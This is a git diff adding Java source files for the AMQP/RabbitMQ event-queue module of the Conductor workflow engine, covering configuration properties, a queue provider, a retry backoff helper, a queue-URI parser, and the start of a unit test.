0000000..15d475b --- /dev/null +++ b/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/config/AMQPEventQueueConfiguration.java @@ -0,0 +1,88 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.amqp.config; + +import java.util.HashMap; +import java.util.Map; + +import org.apache.commons.lang3.StringUtils; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.contribs.queue.amqp.AMQPObservableQueue.Builder; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.events.EventQueueProvider; +import com.netflix.conductor.core.events.queue.ObservableQueue; +import com.netflix.conductor.model.TaskModel.Status; + +@Configuration(proxyBeanMethods = false) +@EnableConfigurationProperties(AMQPEventQueueProperties.class) +@ConditionalOnProperty(name = "conductor.event-queues.amqp.enabled", havingValue = "true") +public class AMQPEventQueueConfiguration { + + private enum QUEUE_TYPE { + AMQP_QUEUE("amqp_queue"), + AMQP_EXCHANGE("amqp_exchange"); + + private final String type; + + QUEUE_TYPE(String type) { + this.type = type; + } + + public String getType() { + return type; + } + } + + @Bean + public EventQueueProvider amqpEventQueueProvider(AMQPEventQueueProperties properties) { + return new AMQPEventQueueProvider(properties, QUEUE_TYPE.AMQP_QUEUE.getType(), false); + } + + @Bean + public EventQueueProvider amqpExchangeEventQueueProvider(AMQPEventQueueProperties properties) { + return new AMQPEventQueueProvider(properties, QUEUE_TYPE.AMQP_EXCHANGE.getType(), true); + } + + @ConditionalOnProperty(name = "conductor.default-event-queue.type", havingValue = "amqp") + @Bean + public Map getQueues( + ConductorProperties conductorProperties, AMQPEventQueueProperties properties) { + String stack = ""; + if (conductorProperties.getStack() != null && conductorProperties.getStack().length() > 0) { + stack = conductorProperties.getStack() + "_"; + } + final boolean useExchange = properties.isUseExchange(); + + Status[] statuses = new Status[] {Status.COMPLETED, Status.FAILED}; + Map queues = new HashMap<>(); + for (Status status : statuses) { + String queuePrefix = + StringUtils.isBlank(properties.getListenerQueuePrefix()) + ? conductorProperties.getAppId() + "_amqp_notify_" + stack + : properties.getListenerQueuePrefix(); + + String queueName = queuePrefix + status.name(); + + final ObservableQueue queue = + new Builder(properties) + .build(useExchange, queueName, QUEUE_TYPE.AMQP_QUEUE.getType()); + queues.put(status, queue); + } + + return queues; + } +} diff --git a/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/config/AMQPEventQueueProperties.java b/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/config/AMQPEventQueueProperties.java new file mode 100644 index 0000000..bbf3aab --- /dev/null +++ b/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/config/AMQPEventQueueProperties.java @@ -0,0 +1,313 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.amqp.config; + +import java.time.Duration; + +import org.springframework.boot.context.properties.ConfigurationProperties; + +import com.netflix.conductor.contribs.queue.amqp.util.RetryType; + +import com.rabbitmq.client.AMQP.PROTOCOL; +import com.rabbitmq.client.ConnectionFactory; + +@ConfigurationProperties("conductor.event-queues.amqp") +public class AMQPEventQueueProperties { + + private int batchSize = 1; + + private Duration pollTimeDuration = Duration.ofMillis(100); + + private String hosts = ConnectionFactory.DEFAULT_HOST; + + private String username = ConnectionFactory.DEFAULT_USER; + + private String password = ConnectionFactory.DEFAULT_PASS; + + private String virtualHost = ConnectionFactory.DEFAULT_VHOST; + + private int port = PROTOCOL.PORT; + + private int connectionTimeoutInMilliSecs = 180000; + private int networkRecoveryIntervalInMilliSecs = 5000; + private int requestHeartbeatTimeoutInSecs = 30; + private int handshakeTimeoutInMilliSecs = 180000; + private int maxChannelCount = 5000; + private int limit = 50; + private int duration = 1000; + private RetryType retryType = RetryType.REGULARINTERVALS; + + public int getLimit() { + return limit; + } + + public void setLimit(int limit) { + this.limit = limit; + } + + public int getDuration() { + return duration; + } + + public void setDuration(int duration) { + this.duration = duration; + } + + public RetryType getType() { + return retryType; + } + + public void setType(RetryType type) { + this.retryType = type; + } + + public int getConnectionTimeoutInMilliSecs() { + return connectionTimeoutInMilliSecs; + } + + public void setConnectionTimeoutInMilliSecs(int connectionTimeoutInMilliSecs) { + this.connectionTimeoutInMilliSecs = connectionTimeoutInMilliSecs; + } + + public int getHandshakeTimeoutInMilliSecs() { + return handshakeTimeoutInMilliSecs; + } + + public void setHandshakeTimeoutInMilliSecs(int handshakeTimeoutInMilliSecs) { + this.handshakeTimeoutInMilliSecs = handshakeTimeoutInMilliSecs; + } + + public int getMaxChannelCount() { + return maxChannelCount; + } + + public void setMaxChannelCount(int maxChannelCount) { + this.maxChannelCount = maxChannelCount; + } + + private boolean useNio = false; + + private boolean durable = true; + + private boolean exclusive = false; + + private boolean autoDelete = false; + + private String contentType = "application/json"; + + private String contentEncoding = "UTF-8"; + + private String exchangeType = "topic"; + + private String queueType = "classic"; + + private boolean sequentialMsgProcessing = true; + + private int deliveryMode = 2; + + private boolean useExchange = true; + + private String listenerQueuePrefix = ""; + + private boolean useSslProtocol = false; + + public int getBatchSize() { + return batchSize; + } + + public void setBatchSize(int batchSize) { + this.batchSize = batchSize; + } + + public Duration getPollTimeDuration() { + return pollTimeDuration; + } + + public void setPollTimeDuration(Duration pollTimeDuration) { + this.pollTimeDuration = pollTimeDuration; + } + + public String getHosts() { + return hosts; + } + + public void setHosts(String hosts) { + this.hosts = hosts; + } + + public String getUsername() { + return username; + } + + public void setUsername(String username) { + this.username = username; + } + + public String getPassword() { + return password; + } + + public void setPassword(String password) { + this.password = password; + } + + public String getVirtualHost() { + return virtualHost; + } + + public void setVirtualHost(String virtualHost) { + this.virtualHost = virtualHost; + } + + public int getPort() { + return port; + } + + public void setPort(int port) { + this.port = port; + } + + public boolean isUseNio() { + return useNio; + } + + public void setUseNio(boolean useNio) { + this.useNio = useNio; + } + + public boolean isDurable() { + return durable; + } + + public void setDurable(boolean durable) { + this.durable = durable; + } + + public boolean isExclusive() { + return exclusive; + } + + public void setExclusive(boolean exclusive) { + this.exclusive = exclusive; + } + + public boolean isAutoDelete() { + return autoDelete; + } + + public void setAutoDelete(boolean autoDelete) { + this.autoDelete = autoDelete; + } + + public String getContentType() { + return contentType; + } + + public void setContentType(String contentType) { + this.contentType = contentType; + } + + public String getContentEncoding() { + return contentEncoding; + } + + public void setContentEncoding(String contentEncoding) { + this.contentEncoding = contentEncoding; + } + + public String getExchangeType() { + return exchangeType; + } + + public void setExchangeType(String exchangeType) { + this.exchangeType = exchangeType; + } + + public int getDeliveryMode() { + return deliveryMode; + } + + public void setDeliveryMode(int deliveryMode) { + this.deliveryMode = deliveryMode; + } + + public boolean isUseExchange() { + return useExchange; + } + + public void setUseExchange(boolean useExchange) { + this.useExchange = useExchange; + } + + public String getListenerQueuePrefix() { + return listenerQueuePrefix; + } + + public void setListenerQueuePrefix(String listenerQueuePrefix) { + this.listenerQueuePrefix = listenerQueuePrefix; + } + + public String getQueueType() { + return queueType; + } + + public boolean isUseSslProtocol() { + return useSslProtocol; + } + + public void setUseSslProtocol(boolean useSslProtocol) { + this.useSslProtocol = useSslProtocol; + } + + /** + * @param queueType Supports two queue types, 'classic' and 'quorum'. Classic will be be + * deprecated in 2022 and its usage discouraged from RabbitMQ community. So not using enum + * type here to hold different values. + */ + public void setQueueType(String queueType) { + this.queueType = queueType; + } + + /** + * @return the sequentialMsgProcessing + */ + public boolean isSequentialMsgProcessing() { + return sequentialMsgProcessing; + } + + /** + * @param sequentialMsgProcessing the sequentialMsgProcessing to set Supports sequential and + * parallel message processing capabilities. In parallel message processing, number of + * threads are controlled by batch size. No thread control or execution framework required + * here as threads are limited and short-lived. + */ + public void setSequentialMsgProcessing(boolean sequentialMsgProcessing) { + this.sequentialMsgProcessing = sequentialMsgProcessing; + } + + public int getNetworkRecoveryIntervalInMilliSecs() { + return networkRecoveryIntervalInMilliSecs; + } + + public void setNetworkRecoveryIntervalInMilliSecs(int networkRecoveryIntervalInMilliSecs) { + this.networkRecoveryIntervalInMilliSecs = networkRecoveryIntervalInMilliSecs; + } + + public int getRequestHeartbeatTimeoutInSecs() { + return requestHeartbeatTimeoutInSecs; + } + + public void setRequestHeartbeatTimeoutInSecs(int requestHeartbeatTimeoutInSecs) { + this.requestHeartbeatTimeoutInSecs = requestHeartbeatTimeoutInSecs; + } +} diff --git a/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/config/AMQPEventQueueProvider.java b/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/config/AMQPEventQueueProvider.java new file mode 100644 index 0000000..18576a9 --- /dev/null +++ b/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/config/AMQPEventQueueProvider.java @@ -0,0 +1,60 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.amqp.config; + +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.lang.NonNull; + +import com.netflix.conductor.contribs.queue.amqp.AMQPObservableQueue; +import com.netflix.conductor.contribs.queue.amqp.AMQPObservableQueue.Builder; +import com.netflix.conductor.core.events.EventQueueProvider; +import com.netflix.conductor.core.events.queue.ObservableQueue; + +/** + * @author Ritu Parathody + */ +public class AMQPEventQueueProvider implements EventQueueProvider { + + private static final Logger LOGGER = LoggerFactory.getLogger(AMQPEventQueueProvider.class); + protected Map queues = new ConcurrentHashMap<>(); + private final boolean useExchange; + private final AMQPEventQueueProperties properties; + private final String queueType; + + public AMQPEventQueueProvider( + AMQPEventQueueProperties properties, String queueType, boolean useExchange) { + this.properties = properties; + this.queueType = queueType; + this.useExchange = useExchange; + } + + @Override + public String getQueueType() { + return queueType; + } + + @Override + @NonNull + public ObservableQueue getQueue(String queueURI) { + if (LOGGER.isInfoEnabled()) { + LOGGER.info("Retrieve queue with URI {}", queueURI); + } + // Build the queue with the inner Builder class of AMQPObservableQueue + return queues.computeIfAbsent( + queueURI, q -> new Builder(properties).build(useExchange, q, queueType)); + } +} diff --git a/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/config/AMQPRetryPattern.java b/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/config/AMQPRetryPattern.java new file mode 100644 index 0000000..6d9d159 --- /dev/null +++ b/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/config/AMQPRetryPattern.java @@ -0,0 +1,54 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.amqp.config; + +import com.netflix.conductor.contribs.queue.amqp.util.RetryType; + +public class AMQPRetryPattern { + + private int limit = 50; + private int duration = 1000; + private RetryType type = RetryType.REGULARINTERVALS; + + public AMQPRetryPattern() {} + + public AMQPRetryPattern(int limit, int duration, RetryType type) { + this.limit = limit; + this.duration = duration; + this.type = type; + } + + /** + * This gets executed if the retry index is within the allowed limits, otherwise exception will + * be thrown. + * + * @throws Exception + */ + public void continueOrPropogate(Exception ex, int retryIndex) throws Exception { + if (retryIndex > limit) { + throw ex; + } + // Regular Intervals is the default + long waitDuration = duration; + if (type == RetryType.INCREMENTALINTERVALS) { + waitDuration = duration * retryIndex; + } else if (type == RetryType.EXPONENTIALBACKOFF) { + waitDuration = (long) Math.pow(2, retryIndex) * duration; + } + try { + Thread.sleep(waitDuration); + } catch (InterruptedException ignored) { + Thread.currentThread().interrupt(); + } + } +} diff --git a/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/util/AMQPConfigurations.java b/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/util/AMQPConfigurations.java new file mode 100644 index 0000000..d0d3b93 --- /dev/null +++ b/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/util/AMQPConfigurations.java @@ -0,0 +1,40 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.amqp.util; + +/** + * @author Ritu Parathody + */ +public enum AMQPConfigurations { + + // queue exchange settings + PARAM_EXCHANGE_TYPE("exchangeType"), + PARAM_QUEUE_NAME("bindQueueName"), + PARAM_ROUTING_KEY("routingKey"), + PARAM_DELIVERY_MODE("deliveryMode"), + PARAM_DURABLE("durable"), + PARAM_EXCLUSIVE("exclusive"), + PARAM_AUTO_DELETE("autoDelete"), + PARAM_MAX_PRIORITY("maxPriority"); + + String propertyName; + + AMQPConfigurations(String propertyName) { + this.propertyName = propertyName; + } + + @Override + public String toString() { + return propertyName; + } +} diff --git a/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/util/AMQPConstants.java b/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/util/AMQPConstants.java new file mode 100644 index 0000000..3abd619 --- /dev/null +++ b/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/util/AMQPConstants.java @@ -0,0 +1,91 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.amqp.util; + +/** + * @author Ritu Parathody + */ +public class AMQPConstants { + + /** this when set will create a rabbitmq queue */ + public static String AMQP_QUEUE_TYPE = "amqp_queue"; + + /** this when set will create a rabbitmq exchange */ + public static String AMQP_EXCHANGE_TYPE = "amqp_exchange"; + + public static String PROPERTY_KEY_TEMPLATE = "conductor.event-queues.amqp.%s"; + + /** default content type for the message read from rabbitmq */ + public static String DEFAULT_CONTENT_TYPE = "application/json"; + + /** default encoding for the message read from rabbitmq */ + public static String DEFAULT_CONTENT_ENCODING = "UTF-8"; + + /** default rabbitmq exchange type */ + public static String DEFAULT_EXCHANGE_TYPE = "topic"; + + /** + * default rabbitmq durability When set to true the queues are persisted to the disk. + * + *

{@see RabbitMQ}. + */ + public static boolean DEFAULT_DURABLE = true; + + /** + * default rabbitmq exclusivity When set to true the queues can be only used by one connection. + * + *

{@see RabbitMQ}. + */ + public static boolean DEFAULT_EXCLUSIVE = false; + + /** + * default rabbitmq auto delete When set to true the queues will be deleted when the last + * consumer is cancelled + * + *

{@see RabbitMQ}. + */ + public static boolean DEFAULT_AUTO_DELETE = false; + + /** + * default rabbitmq delivery mode This is a property of the message When set to 1 the will be + * non persistent and 2 will be persistent {@see Consumer Prefetch}. + */ + public static int DEFAULT_BATCH_SIZE = 1; + + /** + * default rabbitmq delivery mode This is a property of the amqp implementation which sets teh + * polling time to drain the in-memory queue. + */ + public static int DEFAULT_POLL_TIME_MS = 100; + + // info channel messages. + public static final String INFO_CHANNEL_BORROW_SUCCESS = + "Borrowed the channel object from the channel pool for " + "the connection type [%s]"; + public static final String INFO_CHANNEL_RETURN_SUCCESS = + "Returned the borrowed channel object to the pool for " + "the connection type [%s]"; + public static final String INFO_CHANNEL_CREATION_SUCCESS = + "Channels are not available in the pool. Created a" + + " channel for the connection type [%s]"; + public static final String INFO_CHANNEL_RESET_SUCCESS = + "No proper channels available in the pool. Created a " + + "channel for the connection type [%s]"; +} diff --git a/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/util/AMQPSettings.java b/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/util/AMQPSettings.java new file mode 100644 index 0000000..5bcb012 --- /dev/null +++ b/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/util/AMQPSettings.java @@ -0,0 +1,357 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.amqp.util; + +import java.util.Arrays; +import java.util.HashMap; +import java.util.Map; +import java.util.Objects; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.contribs.queue.amqp.config.AMQPEventQueueProperties; + +import lombok.Getter; + +import static com.netflix.conductor.contribs.queue.amqp.util.AMQPConfigurations.*; + +/** + * @author Ritu Parathody + */ +public class AMQPSettings { + + private static final Pattern URI_PATTERN = + Pattern.compile( + "^(?amqp_(?:queue|exchange))?:?(?[^?]+)\\??(?.*)$", + Pattern.CASE_INSENSITIVE); + + private Type type; + private String queueOrExchangeName; + private String eventName; + private String exchangeType; + private String exchangeBoundQueueName; + private String queueType; + private String routingKey; + private final String contentEncoding; + private final String contentType; + private boolean durable; + private boolean exclusive; + private boolean autoDelete; + private boolean sequentialProcessing; + private int deliveryMode; + + private final Map arguments = new HashMap<>(); + private static final Logger LOGGER = LoggerFactory.getLogger(AMQPSettings.class); + + public AMQPSettings(final AMQPEventQueueProperties properties) { + // Initialize with a default values + durable = properties.isDurable(); + exclusive = properties.isExclusive(); + autoDelete = properties.isAutoDelete(); + contentType = properties.getContentType(); + contentEncoding = properties.getContentEncoding(); + exchangeType = properties.getExchangeType(); + routingKey = StringUtils.EMPTY; + queueType = properties.getQueueType(); + sequentialProcessing = properties.isSequentialMsgProcessing(); + type = Type.QUEUE; + // Set common settings for publishing and consuming + setDeliveryMode(properties.getDeliveryMode()); + } + + public AMQPSettings(final AMQPEventQueueProperties properties, final String type) { + this(properties); + this.type = Type.fromString(type); + } + + public final boolean isDurable() { + return durable; + } + + public final boolean isExclusive() { + return exclusive; + } + + public final boolean autoDelete() { + return autoDelete; + } + + public final Map getArguments() { + return arguments; + } + + public final String getContentEncoding() { + return contentEncoding; + } + + /** + * Use queue for publishing + * + * @param queueName the name of queue + */ + public void setQueue(String queueName) { + if (StringUtils.isEmpty(queueName)) { + throw new IllegalArgumentException("Queue name for publishing is undefined"); + } + this.queueOrExchangeName = queueName; + } + + public String getQueueOrExchangeName() { + return queueOrExchangeName; + } + + public String getExchangeBoundQueueName() { + if (StringUtils.isEmpty(exchangeBoundQueueName)) { + return String.format("bound_to_%s", queueOrExchangeName); + } + return exchangeBoundQueueName; + } + + public String getExchangeType() { + return exchangeType; + } + + public String getRoutingKey() { + return routingKey; + } + + public int getDeliveryMode() { + return deliveryMode; + } + + public AMQPSettings setDeliveryMode(int deliveryMode) { + if (deliveryMode != 1 && deliveryMode != 2) { + throw new IllegalArgumentException("Delivery mode must be 1 or 2"); + } + this.deliveryMode = deliveryMode; + return this; + } + + public String getContentType() { + return contentType; + } + + /** + * Complete settings from the queue URI. + * + *

Example for queue: + * + * 

+     * amqp_queue:myQueue?deliveryMode=1&autoDelete=true&exclusive=true
+     *
+ * + * Example for exchange: + * + * 
+     * amqp_exchange:myExchange?bindQueueName=myQueue&exchangeType=topic&routingKey=myRoutingKey&exclusive=true
+     *
+ * + * @param queueURI + * @return + */ + public final AMQPSettings fromURI(final String queueURI) { + final Matcher matcher = URI_PATTERN.matcher(queueURI); + if (!matcher.matches()) { + throw new IllegalArgumentException("Queue URI doesn't matches the expected regexp"); + } + + // Set name of queue or exchange from group "name" + LOGGER.info("Queue URI:{}", queueURI); + if (Objects.nonNull(matcher.group("type"))) { + type = Type.fromString(matcher.group("type")); + } + queueOrExchangeName = matcher.group("name"); + eventName = queueURI; + if (matcher.groupCount() > 1) { + final String queryParams = matcher.group("params"); + if (StringUtils.isNotEmpty(queryParams)) { + // Handle parameters + Arrays.stream(queryParams.split("\\s*\\&\\s*")) + .forEach( + param -> { + final String[] kv = param.split("\\s*=\\s*"); + if (kv.length == 2) { + if (kv[0].equalsIgnoreCase( + String.valueOf(PARAM_EXCHANGE_TYPE))) { + String value = kv[1]; + if (StringUtils.isEmpty(value)) { + throw new IllegalArgumentException( + "The provided exchange type is empty"); + } + exchangeType = value; + } + if (kv[0].equalsIgnoreCase( + (String.valueOf(PARAM_QUEUE_NAME)))) { + exchangeBoundQueueName = kv[1]; + } + if (kv[0].equalsIgnoreCase( + (String.valueOf(PARAM_ROUTING_KEY)))) { + String value = kv[1]; + if (StringUtils.isEmpty(value)) { + throw new IllegalArgumentException( + "The provided routing key is empty"); + } + routingKey = value; + } + if (kv[0].equalsIgnoreCase( + (String.valueOf(PARAM_DURABLE)))) { + durable = Boolean.parseBoolean(kv[1]); + } + if (kv[0].equalsIgnoreCase( + (String.valueOf(PARAM_EXCLUSIVE)))) { + exclusive = Boolean.parseBoolean(kv[1]); + } + if (kv[0].equalsIgnoreCase( + (String.valueOf(PARAM_AUTO_DELETE)))) { + autoDelete = Boolean.parseBoolean(kv[1]); + } + if (kv[0].equalsIgnoreCase( + (String.valueOf(PARAM_DELIVERY_MODE)))) { + setDeliveryMode(Integer.parseInt(kv[1])); + } + if (kv[0].equalsIgnoreCase( + (String.valueOf(PARAM_MAX_PRIORITY)))) { + arguments.put("x-max-priority", Integer.valueOf(kv[1])); + } + } + }); + } + } + return this; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) return true; + if (!(obj instanceof AMQPSettings)) return false; + AMQPSettings other = (AMQPSettings) obj; + return Objects.equals(arguments, other.arguments) + && autoDelete == other.autoDelete + && Objects.equals(contentEncoding, other.contentEncoding) + && Objects.equals(contentType, other.contentType) + && deliveryMode == other.deliveryMode + && durable == other.durable + && Objects.equals(eventName, other.eventName) + && Objects.equals(exchangeType, other.exchangeType) + && exclusive == other.exclusive + && Objects.equals(queueOrExchangeName, other.queueOrExchangeName) + && Objects.equals(exchangeBoundQueueName, other.exchangeBoundQueueName) + && Objects.equals(queueType, other.queueType) + && Objects.equals(routingKey, other.routingKey) + && sequentialProcessing == other.sequentialProcessing; + } + + @Override + public int hashCode() { + return Objects.hash( + arguments, + autoDelete, + contentEncoding, + contentType, + deliveryMode, + durable, + eventName, + exchangeType, + exclusive, + queueOrExchangeName, + exchangeBoundQueueName, + queueType, + routingKey, + sequentialProcessing); + } + + @Override + public String toString() { + return "AMQPSettings [queueOrExchangeName=" + + queueOrExchangeName + + ", eventName=" + + eventName + + ", exchangeType=" + + exchangeType + + ", exchangeQueueName=" + + exchangeBoundQueueName + + ", queueType=" + + queueType + + ", routingKey=" + + routingKey + + ", contentEncoding=" + + contentEncoding + + ", contentType=" + + contentType + + ", durable=" + + durable + + ", exclusive=" + + exclusive + + ", autoDelete=" + + autoDelete + + ", sequentialProcessing=" + + sequentialProcessing + + ", deliveryMode=" + + deliveryMode + + ", arguments=" + + arguments + + "]"; + } + + public String getEventName() { + return eventName; + } + + /** + * @return the queueType + */ + public String getQueueType() { + return queueType; + } + + /** + * @return the sequentialProcessing + */ + public boolean isSequentialProcessing() { + return sequentialProcessing; + } + + /** + * Determine observer type - exchange or queue + * + * @return the observer type + */ + public Type getType() { + return type; + } + + public enum Type { + QUEUE("amqp_queue"), + EXCHANGE("amqp_exchange"); + + @Getter private String value; + + Type(String value) { + this.value = value; + } + + public static Type fromString(String value) { + for (Type type : Type.values()) { + if (type.value.equalsIgnoreCase(value)) { + return type; + } + } + + return QUEUE; + } + } +} diff --git a/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/util/ConnectionType.java b/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/util/ConnectionType.java new file mode 100644 index 0000000..0b28ce2 --- /dev/null +++ b/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/util/ConnectionType.java @@ -0,0 +1,18 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.amqp.util; + +public enum ConnectionType { + PUBLISHER, + SUBSCRIBER +} diff --git a/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/util/RetryType.java b/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/util/RetryType.java new file mode 100644 index 0000000..192c49f --- /dev/null +++ b/amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/util/RetryType.java @@ -0,0 +1,20 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.amqp.util; + +/** RetryType holds the retry type */ +public enum RetryType { + REGULARINTERVALS, + EXPONENTIALBACKOFF, + INCREMENTALINTERVALS +} diff --git a/amqp/src/test/java/com/netflix/conductor/contribs/queue/amqp/AMQPEventQueueProviderTest.java b/amqp/src/test/java/com/netflix/conductor/contribs/queue/amqp/AMQPEventQueueProviderTest.java new file mode 100644 index 0000000..2ca8a78 --- /dev/null +++ b/amqp/src/test/java/com/netflix/conductor/contribs/queue/amqp/AMQPEventQueueProviderTest.java @@ -0,0 +1,82 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.amqp; + +import java.time.Duration; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.contribs.queue.amqp.config.AMQPEventQueueProperties; +import com.netflix.conductor.contribs.queue.amqp.config.AMQPEventQueueProvider; +import com.netflix.conductor.contribs.queue.amqp.util.AMQPConstants; +import com.netflix.conductor.core.events.queue.ObservableQueue; + +import com.rabbitmq.client.AMQP.PROTOCOL; +import com.rabbitmq.client.ConnectionFactory; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +public class AMQPEventQueueProviderTest { + + private AMQPEventQueueProperties properties; + + @Before + public void setUp() { + properties = mock(AMQPEventQueueProperties.class); + when(properties.getBatchSize()).thenReturn(1); + when(properties.getPollTimeDuration()).thenReturn(Duration.ofMillis(100)); + when(properties.getHosts()).thenReturn(ConnectionFactory.DEFAULT_HOST); + when(properties.getUsername()).thenReturn(ConnectionFactory.DEFAULT_USER); + when(properties.getPassword()).thenReturn(ConnectionFactory.DEFAULT_PASS); + when(properties.getVirtualHost()).thenReturn(ConnectionFactory.DEFAULT_VHOST); + when(properties.getPort()).thenReturn(PROTOCOL.PORT); + when(properties.getConnectionTimeoutInMilliSecs()).thenReturn(60000); + when(properties.isUseNio()).thenReturn(false); + when(properties.isDurable()).thenReturn(true); + when(properties.isExclusive()).thenReturn(false); + when(properties.isAutoDelete()).thenReturn(false); + when(properties.getContentType()).thenReturn("application/json"); + when(properties.getContentEncoding()).thenReturn("UTF-8"); + when(properties.getExchangeType()).thenReturn("topic"); + when(properties.getDeliveryMode()).thenReturn(2); + 